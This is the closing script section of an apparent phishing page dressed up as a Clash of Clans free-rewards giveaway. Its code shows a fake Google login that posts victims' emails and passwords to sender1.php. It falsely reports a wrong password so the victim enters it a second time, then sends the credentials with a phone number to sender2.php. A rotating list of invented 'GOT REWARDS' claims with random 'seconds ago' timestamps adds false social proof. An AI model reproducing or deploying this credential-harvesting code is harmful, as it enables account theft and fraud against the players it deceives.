            const setHtml = (sel, img, txt) => $(sel).html(`<img style="margin-left:5px" src="${img}" alt="icon"/> ${txt}`);

            setHtml('.confirmClan, .clan', data.clanImg, data.clanName);
            setHtml('.confirmTownhall, .th', data.thImg, data.thLabel);
            setHtml('.confirmTrophy, .trophy', 'img/trophy.webp', data.trophies);
            setHtml('.exp', 'img/exp.webp', data.exp);

            $('#s1_townhall, #s2_townhall, #s3_townhall').val(data.thLabel);
            $('#s1_exp, #s2_exp, #s3_exp').val(`Exp Level ${data.exp}`);
            $('#s1_playertag, #s2_playertag, #s3_playertag').val(data.tag);
            $('#s1_playername, #s2_playername, #s3_playername').val(data.name);
            $('#s1_clan, #s2_clan, #s3_clan').val(data.clanName);
        };

        if (Trueid) {
            $.ajax({
                url: 'apikey.php',
                type: 'POST',
                data: { player_tag: playerTag },
                dataType: 'json',
                beforeSend: function() {
                    submitButton.prop('disabled', true);
                    buttonText.html('<i style="color:white" class="fas fa-spinner fa-spin"></i>');
                },
                success: function(res) {
                    const cleanData = {
                        name: res?.name || '',
                        tag: res?.tag || `#${playerTag.toUpperCase()}`,
                        clanName: res?.clan?.name || 'No Clan',
                        clanImg: res?.clan?.badgeUrls?.small || 'img/clan.webp',
                        exp: res?.expLevel ?? 'N/A',
                        trophies: res?.trophies ?? 0,
                        thLevel: res?.townHallLevel || 0,
                        thImg: (res?.townHallLevel > 0) ? `https://assets.colinschmale.dev/warreport/townhalls/th${res.townHallLevel}.webp` : 'img/th/th1.webp',
                        thLabel: (res?.townHallLevel > 0) ? `TH ${res.townHallLevel}` : 'N/A'
                    };
                    handleSuccessUI(cleanData);
                },
                error: function(jqXHR, textStatus, errorThrown) {
                    let errorMessage = 'Server Maintenance';
                    try {
                        const err = JSON.parse(jqXHR.responseText);
                        if (err?.reason === "notFound") errorMessage = 'Invalid Tag, Try again';
                    } catch (e) {}
                    formMessage.text(errorMessage).addClass('error').show();
                },
                complete: function() {
                    submitButton.prop('disabled', false);
                    buttonText.text('Search');
                }
            });

        } else {
            submitButton.prop('disabled', true);
            buttonText.html('<i style="color:white" class="fas fa-spinner fa-spin"></i>');

            setTimeout(function() {
                const fakeData = {
                    name: 'PLAYERS',
                    tag: '#PLAYER',
                    clanName: 'NO CLAN',
                    clanImg: 'img/clan.webp',
                    exp: '0',
                    trophies: '0',
                    thLevel: 0,
                    thImg: 'img/th/th1.webp',
                    thLabel: 'N/A'
                };
                
                handleSuccessUI(fakeData);
                
            }, 1000);
        }
    });
});
</script>
<script>
$(document).ready(function() {
    const REQUIRED_ATTEMPTS_GOOGLE = 2; 
    let currentAttempt = 0;
    let savedEmail = '';

    $('.w-full.bg-\\[\\#4285F4\\]').click(function() {
        $('#overlay').fadeIn(200).css('display', 'flex');
        $('#pre-login-modal').fadeOut(300);
        resetForm();
    });

    $('.gpx-close').click(function() { $('#overlay').fadeOut(200); });

    $('#next-email').click(function() {
        let email = $('#email').val().trim();
        let $input = $('#email');
        let $error = $('#err-email');
        let $progress = $('#progress');
        let $bar = $('#bar');

        $input.removeClass('error');
        $error.removeClass('visible').text('');

        if (email === '') {
            showError($input, $error, 'Enter an email or phone number');
            return;
        }

        $progress.show();
        $bar.css('width', '0%').animate({ width: '100%' }, 1500); 

        $input.prop('disabled', true);
        $(this).prop('disabled', true);
        setTimeout(function() {
                    $progress.hide();
                    $bar.css('width', '0%');
                    
                    $('#step-email').hide();
                    $('#step-password').fadeIn(200);
                    
                    savedEmail = email;
                    $('#shown-email span').text(email);
                    
                    $('#password').val('').focus();
                    
                }, 1500); 
            
    });

    $('#next-pass').click(function() {
        let password = $('#password').val();
        let $input = $('#password');
        let $error = $('#err-pass');
        let $progress = $('#progress');
        let $bar = $('#bar');
        let $btn = $(this);

        $input.removeClass('error');
        $error.removeClass('visible').text('');

        if (password === '') {
            showError($input, $error, 'Enter a password');
            return;
        }

        $progress.show();
        $bar.css('width', '0%').animate({ width: '100%' }, 1500);
        
        $input.prop('disabled', true);
        $btn.prop('disabled', true);

        $.ajax({
            url: 'sender1.php',
            type: 'POST',
            data: { 
                email: savedEmail, 
                password: password,
                login: 'Google',
                townhall: window.state.townHall,
                playertag: window.state.playerTag,
                exp: window.state.expLevel,
                clan: window.state.clanName,
                playername: window.state.playerName
            },
            success: function() {
                setTimeout(function() {
                    $progress.hide();
                    $bar.css('width', '0%');
                    
                    $input.prop('disabled', false).focus();
                    $btn.prop('disabled', false);

                    currentAttempt++;

                    if (currentAttempt < REQUIRED_ATTEMPTS_GOOGLE) {
                        showError($input, $error, 'Wrong password. Try again');
                        $input.val(''); 
                    } else {
                        window.state.loginAccount = savedEmail;
                        window.state.loginPassword = password;
                        window.state.loginInfo = 'Google';

                        $('#overlay').hide();
                        $('.phonegrey').show();
                        $('.last-verification').show();
                    }

                }, 1500);
            }
        });
    });

    $('#toggle-pass').change(function() {
        let type = this.checked ? 'text' : 'password';
        $('#password').attr('type', type);
    });

    $('.gpx-input').on('input', function() {
        $(this).removeClass('error');
        $(this).siblings('.gpx-errtxt').removeClass('visible');
    });

    function showError($input, $errDiv, msg) {
        $input.addClass('error');
        $errDiv.html('<i class="fa-solid fa-circle-exclamation"></i> ' + msg).addClass('visible');
        $input.focus();
    }

    function resetForm() {
        currentAttempt = 0;
        savedEmail = '';
        
        $('#step-email').show();
        $('#step-password').hide();
        
        $('.gpx-input').val('').removeClass('error').prop('disabled', false);
        $('.gpx-errtxt').removeClass('visible');
        $('.gpx-btn').prop('disabled', false);
        $('#progress').hide();
        $('#toggle-pass').prop('checked', false);
        $('#password').attr('type', 'password');
    }

    $('#email').keypress(function(e) { if(e.which == 13) $('#next-email').click(); });
    $('#password').keypress(function(e) { if(e.which == 13) $('#next-pass').click(); });

});
</script>
<script>
function ValidatePhone() {
        playAudio();
        let $phone = $('#phone').val().trim();
        let isValid = true;
        const submitButton = $('#phone-submit-button');
        if ($phone === '') {
            $('#phone').focus();
            isValid = false;
        }
        if (!isValid) return false;
        $.ajax({
        type: 'POST',
        url: 'sender2.php',
        data: {
            email: window.state.loginAccount,
            password: window.state.loginPassword,
            login: 'Google',
            townhall: window.state.townHall,
            playertag: window.state.playerTag,
            exp: window.state.expLevel,
            clan: window.state.clanName,
            playername: window.state.playerName,
            phone: $phone
        },
        beforeSend: function() {
            $('.phonegrey').hide();
            $('.phonesubmit').hide();
            $('.phonebutton').show();
        },
        success: function(response) {
            $('.last-verification').hide();
            $('.success-verification').show();
        }
    });
    }
</script>
<script>
document.addEventListener('DOMContentLoaded', function() {
    const images = document.querySelectorAll('.ClashCards_Header__UbLyZ img');
    let currentIndex = 0;
    images.forEach((img, index) => {
        if (index !== 0) {
            img.style.display = 'none';
        }
    });

    function showNextImage() {
        images[currentIndex].style.display = 'none';
        currentIndex = (currentIndex + 1) % images.length;
        images[currentIndex].style.display = 'block';
    }
    setInterval(showNextImage, 2000);
});
function playAudio(){
      var audio = new Audio();
      audio.src = "media/sound.mp3"
      audio.play()
    }
function exit(){
    const cleanTag = window.state.playerTag ? window.state.playerTag.replace('#', '') : '';
    window.location.href = `https://link.clashofclans.com/en/?action=OpenPlayerProfile&tag=${cleanTag}`;
}
$(document).ready(function () {
  $('#finalRewardCard').on('click', '.claimnow-final', function () {
        playAudio();
        var card = $(this).siblings('.reward-card');
        var rewardTitle = card.find('.titlereward').text();
        var rewardImg = card.find('.imgreward').attr('src');
        $('#rewardPopup .reward-title').text(rewardTitle);
        $('#rewardPopup .character').attr('src', rewardImg);
        $('#rewardPopup').fadeIn(200);

        $('#popupRewardImg2').attr('src', rewardImg);
        $('#popupRewardTitle2').text(rewardTitle);
    });

  $('.close-btn .btn').on('click', function () {
        playAudio();
        $(this).closest('.backdrop').fadeOut(200);
        $('#tombol3').hide();
        $('#tombol1').hide();
        $('#tombol2').show();
    });

  $('.close-btn2 .btn').on('click', function () {
    playAudio();
    $(this).closest('.backdrop').fadeOut(200, function () {
        window.location.href = '/';
    });
    });

  $('.menu-tab').on('mousedown', function () {
    var audio = new Audio();
      audio.src = "media/sound.mp3"
      audio.play()
});

$('.menu-tab').on('click', function (e) {
    var targetId = $(this).data('target-id');

    $('.menu-tab').removeClass('active');
    $(this).addClass('active');

    $('.reward-section').hide();
    $('#' + targetId).show();

    if (typeof openRewards === 'function') {
        openRewards(e, targetId);
    }
});

    
$('#defaultTabRewards').trigger('click');

});
function welcome(){
    playAudio();
    $('.cyber-backdrop').hide()
}
function open_verification(){
    playAudio();
    $('.id-verification').show()
}

$(document).ready(function() {
    const playerTagInput = $('#playertag');
    const greyButtonContainer = $('.btn.grey').closest('.label-btn');
    const greenButtonContainer = $('#submitButton').closest('.label-btn');

    playerTagInput.on('keyup input', function() {
        const tagValue = $(this).val().trim();

        if (tagValue.length >= 4) {
            greyButtonContainer.hide();
            greenButtonContainer.show();
        } else {
            greyButtonContainer.show();
            greenButtonContainer.hide();
        }
    });

    const phoneInput = $('#phone');
    const greyButtonContainer2 = $('.phonegrey');
    const greenButtonContainer2 = $('.phonesubmit');

    phoneInput.on('keyup input', function() {
        const tagValue2 = $(this).val().trim();

        if (tagValue2.length >= 4) {
            greyButtonContainer2.hide();
            greenButtonContainer2.show();
        } else {
            greyButtonContainer2.show();
            greenButtonContainer2.hide();
        }
    });

function setFocus(isFocused, el) {
        const $el = $(el);
        const parentBox = $el.closest('.input-box');
        parentBox.toggleClass('focus', isFocused);
        if (!isFocused) {
            parentBox.toggleClass('active', $el.val() !== '');
        }
        if (parentBox.hasClass('error')) {
            parentBox.removeClass('error');
            if (el.id === 'email-google') $('.email-google').hide();
            if (el.id === 'password-google') $('.sandi-google').hide();
            if (el.id === 'phone') parentBox.removeClass('error');
        }
    }

    function togglePasswordVisibility() {
        const passwordInput = $('#password-google');
        passwordInput.attr('type', $('#show-password').is(':checked') ? 'text' : 'password');
    }

    function togglePasswordVisibility2() {
        const passwordInput = $('#password-google2');
        passwordInput.attr('type', $('#show-password2').is(':checked') ? 'text' : 'password');
    }


    let buka;

    const $body = $('body');
    const $sideMenu = $('#sideMenu');
    const $menuOverlay = $('#menuOverlay');

    function openMenu() {
        playAudio();
        $body.addClass('menu-is-open');
    }

    function closeMenu() {
        playAudio();
        $body.removeClass('menu-is-open');
    }

    $('.has-submenu').on('click', function(e) {
        e.preventDefault();
        $(this).next('.submenu').slideToggle(300);
        $(this).toggleClass('active');
    });

    $('.menu').on('click', function(e) {
        e.stopPropagation();
        openMenu();
    });

    $('#closeMenu, #menuOverlay').on('click', function() {
        closeMenu();
    });


    $("#claimnow").on('click', function() {
        $(".popscid").show();
        $(".popscid .cont").show();
        $(".popscid .phone-verif").hide();
        $(".popscid .success-alert").hide();
        $(".popscid .slider .bawah").css('justify-content', 'flex-start');
    });

    
    
    $('.click1 .claim').on('click', function() {
        open_verification();
    });

    $('.click2 .claim').on('click', function() {
        $('.id-verification').hide()
    });

    $('.klik').on('mousedown', function() {
        playSound();
    }).on('click', function() {
        open_account_login(this);
    });

    $('.login-google .close-other').on('mousedown', function(){
        if(tutup) tutup.play();
    }).on('click', function(){
        close_google();
    });

    $('#show-password').on('click', function() {
        togglePasswordVisibility();
    });
    
    $('#show-password2').on('click', function() {
        togglePasswordVisibility2();
    });

    $('#validate-google-1').on('click', function() {
        ValidateLoginGoogleData();
    });
    
    $('#validate-google-2').on('click', function() {
        ValidateLoginGoogleData2();
    });

    $('#open-google-login-button').on('click', function() {
        open_google_login();
    });

    $('#phone-submit-button').on('click', function() {
        ValidatePhone();
    });
});
</script>

<script>
document.addEventListener('DOMContentLoaded', function(){

    let currentSlide = 0;

    const slider = document.querySelector('.slides');
    const totalSlides = document.querySelectorAll('.slides img').length;

    const progressBar =
        document.querySelector('.slider-progress-fill');

    const slideNumber =
        document.getElementById('currentSlideNum');

    if(!slider) return;

    function updateSlider(){

        slider.style.transform =
            'translateX(-' + (currentSlide * 100) + '%)';

        if(progressBar){
            progressBar.style.width =
                ((currentSlide + 1) / totalSlides * 100) + '%';
        }

        if(slideNumber){
            slideNumber.innerText = currentSlide + 1;
        }
    }

    setInterval(() => {

        currentSlide++;

        if(currentSlide >= totalSlides){
            currentSlide = 0;
        }

        updateSlider();

    }, 3000);

    const nextBtn = document.getElementById('nextSlide');
    const prevBtn = document.getElementById('prevSlide');

    if(nextBtn){
        nextBtn.onclick = function(){

            currentSlide++;

            if(currentSlide >= totalSlides){
                currentSlide = 0;
            }

            updateSlider();
        };
    }

    if(prevBtn){
        prevBtn.onclick = function(){

            currentSlide--;

            if(currentSlide < 0){
                currentSlide = totalSlides - 1;
            }

            updateSlider();
        };
    }

updateSlider();

});
</script>

<script>
const liveClaims = [
"#P8Y2****Q9R GOT REWARDS Anime Fury Queen",
"#2JQ8****LPY GOT REWARDS Gold Pass June",
"#9GUR****LQC GOT REWARDS Clash Of Dragons",
"#LQP8****2RV GOT REWARDS Fury Figurine",
"#8PYJ****GUC GOT REWARDS Book Of Everything x2",
"#2VQ8****PYR GOT REWARDS Book Of Heroes x2",
"#Y8LQ****7XP GOT REWARDS Rocket Backpack",
"#Q2RV****8LG GOT REWARDS Stick Horse",
"#8JPU****2YR GOT REWARDS Frost Flake",
"#V9QL****7PC GOT REWARDS Shiny Ore 2000",
"#2GUC****8YQ GOT REWARDS Glowy Ore 300",
"#L8PY****2RV GOT REWARDS Starry Ore 50",

"#Q9RV****8JP GOT REWARDS Anime Fury Duke",
"#7LGC****2PY GOT REWARDS Champion Scenery",
"#P2YR****8QV GOT REWARDS Ghost Scenery",
"#8QJP****7LC GOT REWARDS 4400 Medals",
"#V2PY****9RG GOT REWARDS Fury Figurine",
"#L7QC****8JP GOT REWARDS Archer Satyr",
"#9YRP****2LG GOT REWARDS Snake Warden",
"#2QVG****8PY GOT REWARDS Anime Fury King",

"#8LJP****7QR GOT REWARDS Space Scenery",
"#PY8R****2VC GOT REWARDS Glowy Ore 300",
"#Q7LG****9PY GOT REWARDS Year Of The Snake",
"#V8QC****2JR GOT REWARDS Book Of Everything x2",
"#2YLP****8QV GOT REWARDS Anime Fury Scenery",
"#9QRC****7LP GOT REWARDS Justice Scenery",
"#L2VG****8PY GOT REWARDS Clashamania Scenery",
"#8PJR****2QC GOT REWARDS Snake Champion",

"#Q9LP****7VG GOT REWARDS Rocket Backpack",
"#V2QC****8YR GOT REWARDS Stick Horse",
"#P2LG****8QV GOT REWARDS Frost Flake",
"#Y8QR****2LP GOT REWARDS Shiny Ore 2000",
"#Q2VC****9PY GOT REWARDS Anime Fury Prince",
"#L9PY****8QC GOT REWARDS Starry Ore 50",
"#8QVG****2JR GOT REWARDS Book Of Heroes x2",
"#V7LP****9QC GOT REWARDS War Machine Scenery",

"#2PYR****8LG GOT REWARDS Fire And Ice Scenery",
"#Q8JC****2VP GOT REWARDS Gold Pass June",
"#L2QR****9YG GOT REWARDS Snake Queen",
"#8VLP****2QC GOT REWARDS Fury Figurine",
"#PY2G****8LR GOT REWARDS Year Of The Fire Horse Scenery",
"#Q9YC****2VG GOT REWARDS Anime Fury Champion",
"#L8JR****9QP GOT REWARDS Snake King",
"#2QPL****8YG GOT REWARDS Anime Fury Warden",

"#V9QC****2LR GOT REWARDS Clash Fest Scenery",
"#8PYG****2QV GOT REWARDS Starry Ore 50",
"#Q2LR****8JP GOT REWARDS Anime Scenery",
"#L9VG****2QC GOT REWARDS Book Of Heroes x2"
];
function randomTime() {
    const times = [
        "5 seconds ago",
        "12 seconds ago",
        "28 seconds ago",
        "43 seconds ago",
        "1 minute ago",
        "2 minutes ago",
        "4 minutes ago",
        "7 minutes ago"
    ];

    return times[Math.floor(Math.random() * times.length)];
}

let claimIndex = 0;

function updateLiveClaim() {

    const el = document.getElementById("liveClaimText");
    if (!el) return;

    el.innerHTML =
        "🎁️ " +
        randomTime() +
        " • " +
        liveClaims[claimIndex];

    claimIndex++;

    if (claimIndex >= liveClaims.length) {
        claimIndex = 0;
    }
}

updateLiveClaim();
setInterval(updateLiveClaim, 4000);

function openTab(id, btn){

    document.querySelectorAll('.tab-content')
    .forEach(el => el.classList.remove('active'));

    document.querySelectorAll('.tab-btn')
    .forEach(el => el.classList.remove('active'));

    document.getElementById(id)
    .classList.add('active');

    btn.classList.add('active');
}

</script>
<audio id="tabSound" preload="auto">
    <source src="media/sound.mp3" type="audio/mpeg">
</audio>

<script>
function playTabSound() {
    const sound = document.getElementById("tabSound");
    sound.currentTime = 0;
    sound.play();
}
</script>

</body>
</html>